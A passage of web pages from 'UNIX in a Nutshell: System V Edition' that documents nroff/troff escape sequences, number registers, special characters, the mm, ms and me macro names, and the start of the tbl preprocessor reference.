  • .pn
  • .po
  • .ps
  • .rd
  • .rm
  • .rn
  • .rr
  • .rs
  • .rt
  • .so
  • .sp
  • .ss
  • .sv
  • .sy
  • .ta
  • .tc
  • .ti
  • .tl
  • .tm
  • .tr
  • .uf
  • .ul
  • .vs
  • .wh

Previous: 12.5 Group Summary of Requests | UNIX in a Nutshell: System V Edition | Next: 12.7 Escape Sequences
12.5 Group Summary of Requests | Book Index | 12.7 Escape Sequences
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.7 Escape Sequences

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 12.6 Alphabetical Summary of Requests Chapter 12
Nroff and Troff 		Next: 12.8 Predefined Number Registers

12.7 Escape Sequences

Sequence | Effect
\\ | Prevent or delay the interpretation of \.
\e | Printable version of the current \ escape character.
\' | ´ (acute accent); equivalent to \(aa.
\` | ` (grave accent); equivalent to \(ga.
\- | - Minus sign in the current font.
\. | Period (dot).
\(space) | Unpaddable space-size space character.
\(newline) | Concealed (ignored) newline.
\0 | Digit width space.
\| | 1/6-em narrow space character (zero width in nroff).
\^ | 1/12-em half-narrow space character (zero width in nroff).
\& | Non-printing, zero width character.
\! | Transparent line indicator.
\" | Beginning of comment.
\$n | Interpolate argument 1 [image] n [image] 9.
\% | Default optional hyphenation character.
\(xx | Character named xx.
\*x or \*(xx | Interpolate string x or xx.
\a | Noninterpreted leader character.
\b'abc...' | Bracket building function.
\c | Make next line continuous with current.
\d | Forward (down) 1/2-em vertical motion (1/2 line in nroff).
\D'l x,y' | Draw a line from current position to coordinates x,y (ditroff only).
\D'c d' | Draw circle of diameter d with left edge at current position (ditroff only).
\D'e d1 d2' | Draw ellipse with horizontal diameter d1 and vertical diameter d2, with left edge at current position (ditroff only).
\D'a x1 y1 x2 y2' | Draw arc counterclockwise from current position, with center at x1,y1 and endpoint at x1+x2,y1+y2 (ditroff only).
\D'~ x1 y1 x2 y2...' | Draw spline from current position through the specified coordinates (ditroff only).
\fx or \f(xx or \fn | Change to font named x or xx or to position n.
\h'n' | Local horizontal motion; move right n or if n is negative move left.
\H'n' | Set character height to n points, without changing width (ditroff only).
\kx | Mark horizontal input place in register x.
\l'nc' | Draw horizontal line of length n (optionally with c).
\L'nc' | Draw vertical line of length n (optionally with c).
\nx\,\n(xx | Interpolate number register x or xx.
\o'abc...' | Overstrike characters a, b, c...
\p | Break and spread output line.
\r | Reverse 1-em vertical motion (reverse line in nroff).
\sn\,\s±n | Change point-size to n or increment by n. For example, \s0 returns to previous point size.
\S'n' | Slant output n degrees to the right. Negative values slant to the left. A value of zero turns off slanting (ditroff only).
\t | Non-interpreted horizontal tab.
\u | Reverse (up) 1/2-em vertical motion (1/2 line in nroff).
\v'n' | Local vertical motion; move down n or if n is negative move up.
\w'string' | Interpolate width of string.
\x'n' | Extra line-space function (n negative provides space before, n positive provides after).
\zc | Print c with zero width (without spacing).
\{ | Begin multi-line conditional input.
\} | End multi-line conditional input.
\x | x, any character not listed above.

Previous: 12.6 Alphabetical Summary of Requests | UNIX in a Nutshell: System V Edition | Next: 12.8 Predefined Number Registers
12.6 Alphabetical Summary of Requests | Book Index | 12.8 Predefined Number Registers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.8 Predefined Number Registers

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 12.7 Escape Sequences Chapter 12
Nroff and Troff 		Next: 12.9 Special Characters

12.8 Predefined Number Registers

There are two types of predefined registers: read-only and read-write.

12.8.1 Read-only Registers

.$ | Number of arguments available at the current macro level.
.$$ | Process id of troff process (ditroff only).
.A | Set to 1 in troff, if -a option used; always 1 in nroff.
.H | Available horizontal resolution in basic units.
.T | Set to 1 in nroff, if -T option used; always 0 in troff; in ditroff, the string \*(.T contains the value of -T.
.V | Available vertical resolution in basic units.
.a | Post-line extra line-space most recently utilized using \x'n'.
.c | Number of lines read from current input file.
.d | Current vertical place in current diversion; equal to register nl when there is no diversion.
.f | Current font as physical quadrant (1 to 4 in otroff; 1 to 9 in ditroff).
.h | Text baseline high-water mark on current page or diversion.
.i | Current indent.
.j | Current adjustment mode.
.l | Current line length.
.n | Length of text portion on previous output line.
.o | Current page offset.
.p | Current page length.
.s | Current point size.
.t | Distance to the next trap.
.u | Equal to 1 in fill mode and 0 in no-fill mode.
.v | Current vertical line spacing.
.w | Width of previous character.
.x | Reserved version-dependent register.
.y | Reserved version-dependent register.
.z | Name of current diversion.

12.8.2 Read-write Registers

% | Current page number.
ct | Character type (set by width function).
dl | Width (maximum) of last completed diversion.
dn | Height (vertical size) of last completed diversion.
dw | Current day of the week (1 to 7).
dy | Current day of the month (1 to 31).
hp | Current horizontal place on input line.
ln | Output line number.
mo | Current month (1 to 12).
nl | Vertical position of last printed text baseline.
sb | Depth of string below baseline (generated by width function).
st | Height of string above base line (generated by width function).
yr | Last two digits of current year.

Previous: 12.7 Escape Sequences | UNIX in a Nutshell: System V Edition | Next: 12.9 Special Characters
12.7 Escape Sequences | Book Index | 12.9 Special Characters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] 12.9 Special Characters

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 12.8 Predefined Number Registers Chapter 12
Nroff and Troff 		Next: 13. mm Macros

12.9 Special Characters

This subsection lists the following special characters:

  • Characters that reside on the standard fonts

  • Miscellaneous characters

  • Bracket building symbols

  • Mathematics symbols

  • Greek characters

The characters in the first table below are available on the standard fonts. The characters in the remaining tables are available only on the special font.

Table 12.1: On the Standard Fonts
Char | Input | Character Name
' | ' | Close quote
` | ` | Open quote
- | \(em | 3\4 em dash
- | - | Hyphen or
- | \(hy | Hyphen
- | \- | Minus in current font
· | \(bu | Bullet
 | \(sq | Square
_ | \(ru | Rule
¼ | \(14 | 1/4
½ | \(12 | 1/2
¾ | \(34 | 3/4
fi | \(fi | fi ligature
fl | \(fl | fl ligature
ff | \(ff | ff ligature
ffi | \(Fi | ffi ligature
ffl | \(Fl | ffl ligature
° | \(de | Degree
[dagger] | \(dg | Dagger
' | \(fm | Foot mark
¢ | \(ct | Cent sign
® | \(rg | Registered
© | \(co | Copyright
Table 12.2: Miscellaneous Characters
Char | Input | Character Name
§ | \(sc | Section
´ | \(aa | Acute accent
` | \(ga | Grave accent
_ | \(ul | Underrule
-> | \(-> | Right arrow
<- | \(<- | Left arrow
 | \(ua | Up arrow
-v | \(da | Down arrow
| | \(br | Box rule
[dbldag] | \(dd | Double dagger
[rhand] | \(rh | Right hand
[lhand] | \(lh | Left hand
[circle] | \(ci | Circle
(+) | \(vs | Visible space indicator (ditroff only)
Table 12.3: Bracket Building Symbols
Char | Input | Character Name
[ltbcb] | \(lt | Left top of big curly bracket
[lcbcb] | \(lk | Left center of big curly bracket
[lbbcb] | \(lb | Left bottom of big curly bracket
[rtbcb] | \(rt | Right top of big curly bracket
[rcbcb] | \(rk | Right center of big curly bracket
[rbbcb] | \(rb | Right bottom of big curly bracket
[ | \(lc | Left ceiling (left top) of big square bracket
| | \(bv | Bold vertical
[ | \(lf | Left floor left bottom of big square bracket
] | \(rc | Right ceiling (right top) of big square bracket
] | \(rf | Right floor (right bottom) of big square bracket
Table 12.4: Mathematics Symbols
Char | Input | Character Name
+ | \(pl | Math plus
- | \(mi | Math minus
= | \(eq | Math equals
* | \(** | Math star
/ | \(sl | Slash (matching backslash)
[v/] | \(sr | Square root
 | \(rn | Root en extender
 | \(>= | Greater than or equal to
 | \(<= | Less than or equal to
 | \(== | Identically equal
~ | \(~~ | Approx equal
~ | \(ap | Approximates
 | \(!= | Not equal
× | \(mu | Multiply
÷ | \(di | Divide
± | \(+- | Plus-minus
U | \(cu | Cup (union)
[cap] | \(ca | Cap (intersection)
[subset] | \(sb | Subset of
[superset] | \(sp | Superset of
[subset/equal] | \(ib | Improper subset
[superset/equal] | \(ip | Improper superset
[infinity] | \(if | Infinity
d | \(pd | Partial derivative
[nabla] | \(gr | Gradient
¬ | \(no | Not
[integral] | \(is | Integral sign
[proportional] | \(pt | Proportional to
Ø | \(es | Empty set
[isin] | \(mo | Member of
| | \(or | Or

12.9.1 Greek Characters

Characters that have equivalents as uppercase English letters are available on the standard fonts; otherwise, the characters below exist only on the special font.

Char | Input | Char Name | Char | Input | Char Name
[alpha] | \(*a | alpha | A | \(*A | ALPHA
[beta] | \(*b | beta | B | \(*B | BETA
[gamma] | \(*g | gamma | [Gamma] | \(*G | GAMMA
[delta] | \(*d | delta | [delta] | \(*D | DELTA
[epsilon] | \(*e | epsilon | E | \(*E | EPSILON
[zeta] | \(*z | zeta | Z | \(*Z | ZETA
[eta] | \(*y | eta | H | \(*Y | ETA
[theta] | \(*h | theta | [Theta] | \(*H | THETA
[iota] | \(*i | iota | I | \(*I | IOTA
[kappa] | \(*k | kappa | K | \(*K | KAPPA
[lambda] | \(*l | lambda | [Lambda] | \(*L | LAMBDA
[mu] | \(*m | mu | M | \(*M | MU
[nu] | \(*n | nu | N | \(*N | NU
[xi] | \(*c | xi | [Xi] | \(*C | XI
[omicron] | \(*o | omicron | O | \(*O | OMICRON
[pi] | \(*p | pi | [Pi] | \(*P | PI
[rho] | \(*r | rho | P | \(*R | RHO
[sigma] | \(*s | sigma | [Sigma] | \(*S | SIGMA
[sigma] | \(ts | terminal sigma |  |  |
[tau] | \(*t | tau | T | \(*T | TAU
[upsilon] | \(*u | upsilon | [Upsilon] | \(*U | UPSILON
[phi] | \(*f | phi | [Phi] | \(*F | PHI
[chi] | \(*x | chi | X | \(*X | CHI
[psi] | \(*q | psi | [Psi] | \(*Q | PSI
[omega] | \(*w | omega | [Omega] | \(*W | OMEGA

Previous: 12.8 Predefined Number Registers | UNIX in a Nutshell: System V Edition | Next: 13. mm Macros
12.8 Predefined Number Registers | Book Index | 13. mm Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] mm Macros

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 12.9 Special Characters Chapter 13 Next: 13.2 Predefined String Names

13. mm Macros

Contents:
Alphabetical Summary of mm Macros
Predefined String Names
Number Registers Used in mm
Other Reserved Macro and String Names

This section presents the following topics:

  • Alphabetical summary of mm macros

  • Predefined string names

  • Number registers

  • Other reserved names

13.1 Alphabetical Summary of mm Macros

  • .1C
  • .2C
  • .AE
  • .AF
  • .AL
  • .AS
  • .AT
  • .AU
  • .AV
  • .B
  • .BE
  • .BI
  • .BL
  • .BR
  • .BS
  • .CS
  • .DE
  • .DF
  • .DL
  • .DS
  • .EC
  • .EF
  • .EH
  • .EN
  • .EQ
  • .EX
  • .FC
  • .FD
  • FE
  • .FG
  • .FS
  • .H
  • .HC
  • .HM
  • .HU
  • .HX
  • .HY
  • .HZ
  • .I
  • .IA
  • .IB
  • .IE
  • .IR
  • .LB
  • .LC
  • .LE
  • .LI
  • .LO
  • .LT
  • .ML
  • .MT
  • .ND
  • .NE
  • .nP
  • .NS
  • .OF
  • .OH
  • .OK
  • .OP
  • .P
  • .PF
  • .PH
  • .PM
  • .PX
  • .R
  • .RB
  • .RD
  • .RF
  • .RI
  • .RL
  • .RP
  • .RS
  • .S
  • .SA
  • .SG
  • .SK
  • .SM
  • .SP
  • .TB
  • .TC
  • .TE
  • .TH
  • .TL
  • .TM
  • .TP
  • .TS
  • .TX
  • .TY
  • .VL
  • .VM
  • .WA
  • .WE
  • .WC

Previous: 12.9 Special Characters | UNIX in a Nutshell: System V Edition | Next: 13.2 Predefined String Names
12.9 Special Characters | Book Index | 13.2 Predefined String Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.2 Predefined String Names

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 13.1 Alphabetical Summary of mm Macros Chapter 13
mm Macros 		Next: 13.3 Number Registers Used in mm

13.2 Predefined String Names

BU | Bullet; same as \(bu.
Ci | List of indents for table of contents levels.
DT | Current date, unless overridden. Month, day, year (e.g., July 28, 1986).
EM | Em dash string - dash in troff and a double hyphen in nroff).
F | Footnote number generator.
HF | Fonts used for each level of heading (1 = roman, 2 = italic, 3 = bold).
HP | Point size used for each level of heading.
Le | Title set for ``List Of Equations."
Lf | Title set for ``List Of Figures."
Lt | Title set for ``List Of Tables."
Lx | Title set for ``List Of Exhibits."
RE | SCCS release and level of mm.
Rf | Reference number generator.
Rp | Title for ``References."
TM | Trademark string. Places the letters ``TM" one-half line above the text that it follows.

Previous: 13.1 Alphabetical Summary of mm Macros | UNIX in a Nutshell: System V Edition | Next: 13.3 Number Registers Used in mm
13.1 Alphabetical Summary of mm Macros | Book Index | 13.3 Number Registers Used in mm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.3 Number Registers Used in mm

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 13.2 Predefined String Names Chapter 13
mm Macros 		Next: 13.4 Other Reserved Macro and String Names

13.3 Number Registers Used in mm

A dagger ( [dagger]) next to a register name indicates that the register can be set only from the command line or before the mm macro definitions are read by the formatter. Any register having a single-character name can be set from the command line with the -r option.

A [dagger]

If set to 1, omit technical memorandum headings and provide spaces appropriate for letterhead (see .AF macro).

Au | Omit author information on first page (see .AU macro).
C [dagger] | Flag indicating type of copy (original, draft, etc.).
Cl

Level of headings saved for table of contents (see .TC macro). Default is 2.

Cp

If set to 1 (default), list of figures and tables appear on same page as table of contents. Otherwise, they start on a new page.

D [dagger]

If set to 1, use debug mode (mm continues even after encountering normally fatal errors). Default is 0.

De | If set to 1, eject page after each floating display. Default is 0.
Df | Set format of floating displays (see .DF macro).
Ds | Set space used before and after static displays.
E [dagger] | Font for Subject/Date/From. 0 (bold, the default) or 1 (roman).
Ec | Equation counter, incremented for each .EC macro.
Ej | Heading level for page eject before headings. Default is 0 and no eject.
Eq | If set to 1, place equation label at left margin. Default is 0.
Ex | Exhibit counter, incremented for each .EX macro.
Fg | Figure counter, incremented for each .FG macro.
Fs | Vertical spacing between footnotes.
Hn

Heading counter for level n (1 to 7), incremented by .H macro of corresponding level or by .HU macro if at level given by register Hu. Registers H2 to H7 are reset to 0 by any .H (or .HU) macro at a lower-numbered level.

Hb

Level of heading for which break occurs before output of body text. Default is 2.

Hc | Level of heading for which centering occurs. Default is 0.
Hi

Type of indent after heading. Values are 0 (left-justified), 1 (indented, the default), 2 (indented except after .H, .LC, .DE).

Hs | Level of heading for which space after heading occurs. Default is 2.
Ht | Numbering type of heading: 1 (single) or 0 (concatenated, the default).
Hu

Set level of heading at which unnumbered headings occur. Default is 2.

Hy | If set to 1, enable hyphenation. Default is 0.
L [dagger] | Set length of page. Default is 66v.
Le

Flag to print list of equations after table of contents: 0 (don't print, the default) or 1 (print).

Lf | Like Le, but for list of figures.
Li | Default indent of lists. Default is 5.
Ls

Set spacing between items in nested lists. Default is 6 (spacing between all levels of list).

Lt | Like Le, but for list of tables.
Lx | Like Le, but for list of exhibits.
N [dagger]

Set page numbering style:

0

All pages get header (the default)

1

Header printed as footer on page 1

2

No header on page 1

3

Section-page as footer

4

No header unless .PH has been invoked

5

Section-page and section-figure as footer

Np | Set numbering style for paragraphs: 0 (unnumbered) or 1 (numbered).
O

Offset of page. For nroff, value is unscaled number representing character positions; default is 9 (7.5i). For troff, value is scaled; default is .5i.

Oc

Set numbering style for pages in table of contents: 0 (lowercase roman, the default) or 1 (arabic).

Of

Set separator for figure number in captions. 0 (use period, the default); 1 (use hyphen).

P | Current page number.
Pi | Amount of indent for paragraph. Default is 5 for nroff and 3 for troff.
Ps | Amount of spacing between paragraphs. Default is 3v.
Pt

Paragraph type. Values are 0 (left-justified, the default), 1 (indented), 2 (indented except after .H, .LC, .DE).

Pv | Suppress ``PRIVATE" header.
Rf | Reference counter, incremented for each .RS.
S [dagger]

Default point size for troff. Default is 10. Vertical spacing is \nS+2.

Si | Standard indent for displays. Default is 5 for nroff and 3 for troff.
T [dagger]

Type of nroff output device. Sets registers for specific devices.

Tb | Table counter, incremented for each .TB.
U [dagger] | Style of nroff underlining for .H and .HU. If not set, use continuous underline; if set, don't underline punctuation and white space. Default is 0.
W [dagger] | Width of page (line and title length). Default is 6i.

Previous: 13.2 Predefined String Names | UNIX in a Nutshell: System V Edition | Next: 13.4 Other Reserved Macro and String Names
13.2 Predefined String Names | Book Index | 13.4 Other Reserved Macro and String Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.4 Other Reserved Macro and String Names

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 13.3 Number Registers Used in mm Chapter 13
mm Macros 		Next: 14. ms Macros

13.4 Other Reserved Macro and String Names

In mm, the only macro and string names you can safely use are names consisting of a single lowercase letter, or two character names whose first character is a lowercase letter and whose second character is anything but a lowercase letter. Of these, only c2 and nP are already used.

Previous: 13.3 Number Registers Used in mm | UNIX in a Nutshell: System V Edition | Next: 14. ms Macros
13.3 Number Registers Used in mm | Book Index | 14. ms Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] ms Macros

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 13.4 Other Reserved Macro and String Names Chapter 14 Next: 14.2 Number Registers for Page Layout

14. ms Macros

Contents:
Alphabetical Summary of ms Macros
Number Registers for Page Layout
Reserved Macro and String Names
Reserved Number Register Names

This section presents the following topics:

  • Alphabetical summary of ms macros

  • Number registers for page layout

  • Reserved macro and string names

  • Reserved number register names

14.1 Alphabetical Summary of ms Macros

  • .1C
  • .2C
  • .AB
  • .AE
  • .AI
  • .AU
  • .B
  • .B1
  • .B2
  • .BD
  • .BR
  • .BX
  • .CD
  • .DA
  • .DE
  • .DS
  • .EN
  • .EQ
  • .FS
  • .FE
  • .GO
  • .I
  • .ID
  • .IP
  • .KE
  • .KF
  • .KS
  • .LD
  • .LG
  • .LP
  • .MC
  • .ND
  • .NH
  • .NL
  • .PP
  • .QE
  • .QP
  • .QS
  • .R
  • .RE
  • .RP
  • .RS
  • .SB
  • .SG
  • .SH
  • .SM
  • .SU
  • .TE
  • .TH
  • .TL
  • .TS
  • .UL

Previous: 13.4 Other Reserved Macro and String Names | UNIX in a Nutshell: System V Edition | Next: 14.2 Number Registers for Page Layout
13.4 Other Reserved Macro and String Names | Book Index | 14.2 Number Registers for Page Layout
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.2 Number Registers for Page Layout

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 14.1 Alphabetical Summary of ms Macros Chapter 14
ms Macros 		Next: 14.3 Reserved Macro and String Names

14.2 Number Registers for Page Layout

Name | Meaning | Default
BI | Bibliographical indent | 3 ens
CW | Column width | 7/15 of line length
FL | Footnote length | 11/12 of line length
FM | Bottom margin | 1 inch
GW | Intercolumn gap | 1/15 of line length
HM | Top margin | 1 inch
LL | Line length | 6 inches
LT | Title length | 6 inches
PD | Paragraph spacing | .3v
PI | Paragraph indent | 5 ens
PO | Page offset | 26/27 inches
PS | Point size | 10 point
QI | Quotation indent | 5 ens
VS | Vertical line spacing | 12 point

Previous: 14.1 Alphabetical Summary of ms Macros | UNIX in a Nutshell: System V Edition | Next: 14.3 Reserved Macro and String Names
14.1 Alphabetical Summary of ms Macros | Book Index | 14.3 Reserved Macro and String Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.3 Reserved Macro and String Names

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 14.2 Number Registers for Page Layout Chapter 14
ms Macros 		Next: 14.4 Reserved Number Register Names

14.3 Reserved Macro and String Names

The following macro and string names are used by the ms package. Avoid using these names for compatibility with the existing macros. An italicized n means that the name contains a numeral (generally the interpolated value of a number register).

, | .] | : | [. | [c | [o | ^ | \` | ~
1C | 2C | AB | AE | AI | An | AT | AU | AX
B | B1 | B2 | BB | BG | BT | BX | C | C1
C2 | CA | CC | CF | CH | CM | CT | DA | DW
DY | EE | EG | EL | EM | EN | En | EQ | EZ
FA | FE | FF | FG | FJ | FK | FL | FN | FO
FS | FV | FX | FY | HO | I | IE | IH | IM
In | IP | IZ | KD | KF | KJ | KS | LB | LG
LP | LT | MC | ME | MF | MH | MN | MO | MR
ND | NH | NL | NP | OD | OK | PP | PT | PY
QE | QF | QP | QS | R | R3 | RA | RC | RE
Rn | RP | RS | RT | S0 | S2 | S3 | SG | SH
SM | SN | SY | TA | TC | TD | TE | TH | TL
TM | TQ | TR | TS | TT | TX | UL | US | UX
WB | WH | WT | XF | XK | XP |  |  |

Previous: 14.2 Number Registers for Page Layout | UNIX in a Nutshell: System V Edition | Next: 14.4 Reserved Number Register Names
14.2 Number Registers for Page Layout | Book Index | 14.4 Reserved Number Register Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.4 Reserved Number Register Names

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 14.3 Reserved Macro and String Names Chapter 14
ms Macros 		Next: 15. me Macros

14.4 Reserved Number Register Names

The following number register names are used by the ms package. An italicized n means that the name contains a numeral (generally the interpolated value of another number register).

nT | AJ | AV | BC | BD | BE | BH | BI | BQ
BW | CW | EF | FC | FL | FM | FP | GA | GW
H1 | H2 | H3 | H4 | H5 | HM | HT | I0 | IF
IK | IM | IP | IR | IS | IT | IX | In | Jn
KG | KI | KM | L1 | LE | LL | LT | MC | MF
MG | ML | MM | MN | NA | NC | ND | NQ | NS
NX | OJ | PD | PE | PF | PI | PN | PO | PQ
PS | PX | QI | QP | RO | SJ | ST | T. | TB
TC | TD | TK | TN | TQ | TV | TY | TZ | VS
WF | XX | YE | YY | ZN |  |  |  |

When you're writing your own macros, the safest bet is to use mixed case letters for macro names. (Using uppercase letters could conflict with reserved ms names, and using lowercase letters could conflict with troff requests.)

Previous: 14.3 Reserved Macro and String Names | UNIX in a Nutshell: System V Edition | Next: 15. me Macros
14.3 Reserved Macro and String Names | Book Index | 15. me Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] me Macros

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 14.4 Reserved Number Register Names Chapter 15 Next: 15.2 Predefined Strings

15. me Macros

Contents:
Alphabetical Summary of me Macros
Predefined Strings

This section presents the following topics:

  • Alphabetical summary of me macros

  • Predefined strings

15.1 Alphabetical Summary of me Macros

  • .1c
  • .2c
  • .ar
  • .b
  • .(b
  • .)b
  • .ba
  • .bc
  • .bi
  • .bl
  • .bu
  • .bx
  • .+c
  • .$c
  • .$C
  • .(c
  • .)c
  • .(d
  • .)d
  • .ef
  • .eh
  • .EN
  • .ep
  • .EQ
  • .$f
  • .(f
  • .)f
  • .fo
  • .$H
  • .$h
  • .he
  • .hl
  • .hx
  • .i
  • .ip
  • .ix
  • .(l
  • .)l
  • .ll
  • .lo
  • .lp
  • .m1
  • .m2
  • .m3
  • .m4
  • .n1
  • .n2
  • .np
  • .of
  • .oh
  • .$p
  • .$0
  • .$n
  • .pa
  • .pd
  • .pp
  • .q
  • .(q
  • .)q
  • .r
  • .rb
  • .re
  • .ro
  • .$s
  • .sh
  • .sk
  • .sx
  • .sz
  • .TE
  • .TH
  • .th
  • .tp
  • .TS
  • .u
  • .uh
  • .(x
  • .)x
  • .)x_
  • .x1
  • .xp
  • .(z
  • .)z
  • .++

Previous: 14.4 Reserved Number Register Names | UNIX in a Nutshell: System V Edition | Next: 15.2 Predefined Strings
14.4 Reserved Number Register Names | Book Index | 15.2 Predefined Strings
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] 15.2 Predefined Strings

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 15.1 Alphabetical Summary of me Macros Chapter 15
me Macros 		Next: 16. Preprocessors

15.2 Predefined Strings

* | Footnote number, incremented by .)f macro
# | Delayed text number
[ | Superscript; move up and shrink type size
] | Undo superscript
< | Subscript; move down and shrink type size
> | Undo subscript
- | 3/4 em dash
dw | Day of week, as a word
mo | Month, as a word
td | Today's date
lq | Left quote mark
rq | Right quote mark

Previous: 15.1 Alphabetical Summary of me Macros | UNIX in a Nutshell: System V Edition | Next: 16. Preprocessors
15.1 Alphabetical Summary of me Macros | Book Index | 16. Preprocessors
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] Preprocessors

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 15.2 Predefined Strings Chapter 16 Next: 16.2 Eqn

16. Preprocessors

Contents:
Tbl
Eqn
Pic

This section is divided into the following three subsections, each covering a different preprocessor of the nroff/troff formatting system:

  • The tbl preprocessor

  • The eqn preprocessor

  • The pic graphics language

Each of these preprocessors translates code into nroff/troff requests and escape sequences, which run independently of the formatter. Usually, one or more of these preprocessors are invoked as part of a command pipeline to format a file:

% pic file | tbl | eqn | troff | spooler

On multi-user systems, it is typical to have a general-purpose shell script for formatting. You would then select various command-line options to specify which (if any) preprocessors to include in your particular format command. But you can also invoke the preprocessors individually. This is useful for confirming that syntax is correct or for determining where it fails. For example, the command:

% tbl file

takes input between each .TS/.TE macro pair and converts it into tbl code. All other input is passed to output unchanged.

16.1 Tbl

Tbl is a preprocessor for formatting tables in nroff/troff. When used in a command pipeline, tbl should precede eqn. This makes output processing more efficient. Tbl has the following command-line syntax:

/usr/ucb/tbl [options] [files]

Options

-me

Prepend the me macros to the front of files.

-mm

Prepend the mm macros to the front of files.

-ms

Prepend the ms macros to the front of files.

-TX

Produce output using only full vertical line motions. This is useful when formatting with nroff or when printing to a device that does not support fractional line motion.

16.1.1 General Coding Scheme

In a text file, coding for tbl might look like this:

.TS H
options;
format1
format2.
Column Titles
.TH
Item1	Item2	Item3
Item1	Item2	Item3 ...
.TE

Successful processing of a table by tbl depends largely on the header lines, which consist of one line listing the options and one or more format lines. Each field of the table input must be separated by a tab or designated tab symbol, with each row typed entirely on a single line unless a field is enclosed by the text block symbols T{ and T}.

16.1.2 Tbl Macros

.TS | Start table.
.TE | End table.
.TS H | Used when the table will continue onto more than one page. Used with .TH to define a header that will print on every page.
.TH | With .TS H, ends the header portion of the table.
.T& | Continue table after changing format line.

16.1.3 Options

Options affect the entire table. Options can be separated by commas or spaces, but the line must end with a semicolon.

center | Center with current margins.
expand | Flush with current right and left margins.
blank | Flush with current left margin (the default).
box | Enclose table in a box.
doublebox | Enclose table in two boxes.
allbox | Enclose each table entry in a box.
tab (x) | Define the tab symbol to be x instead of a tab.
linesize n | Set type size of lines or rules (e.g., from box) to n points.
delim xy | Recognize x and y as the eqn delimiters.

16.1.4 Format

The format line affects the layout of individual columns and rows of the table. Each line contains a key letter for each column of the table. The column entries should be separated by spaces, and the format section must end with a period. Each line of format corresponds to one line of the table, except for the last, which corresponds to all following lines up to the next .T&, if any.

16.1.4.1 Key Letters

c | Center.
l | Flush left.
r | Flush right.
n | Align numerical entries.
a | Align alphabetic subcolumns.
s | Horizontally span previous column entry across this column.
^ | Vertically span (center) entry from previous row down through this row.

16.1.4.2 Key Modifiers

These must follow a key letter.

b | Boldface.
i | Italics.
fx | Font x.
pn | Point size.
vn | Vertical line spacing, in points. Applies only to text blocks.
t | Begin any corresponding vertically-spanned table entry (i.e., from ^) at the top line of its range.
e | Equal width columns.
w(n) | Minimum column width. Also used with text blocks. n can be given in any acceptable troff units.
n | Amount of separation (in ens) between columns (default is 3).
| | Separate columns with a single vertical line. Typed between key letters.
|| | Separate columns with a double vertical line. Typed between key letters.
_ | Separate rows with a single horizontal line. Used in place of a key letter.
= | Separate rows with a double horizontal line. Used in place of a key letter.

16.1.5 Data

The data portion includes both the heading and text of the table. Each table entry must be separated by a tab symbol.

.xx | Troff requests may be used (such as .sp n, .na, etc.).
\ | As last character in a line, combine following line with current line (hide newline).
\^ | Span table entry that is above this row, bringing it down to be vertically centered.
\&_ or = | As the only character in a line, extend a single or double horizontal line the full width of the table.
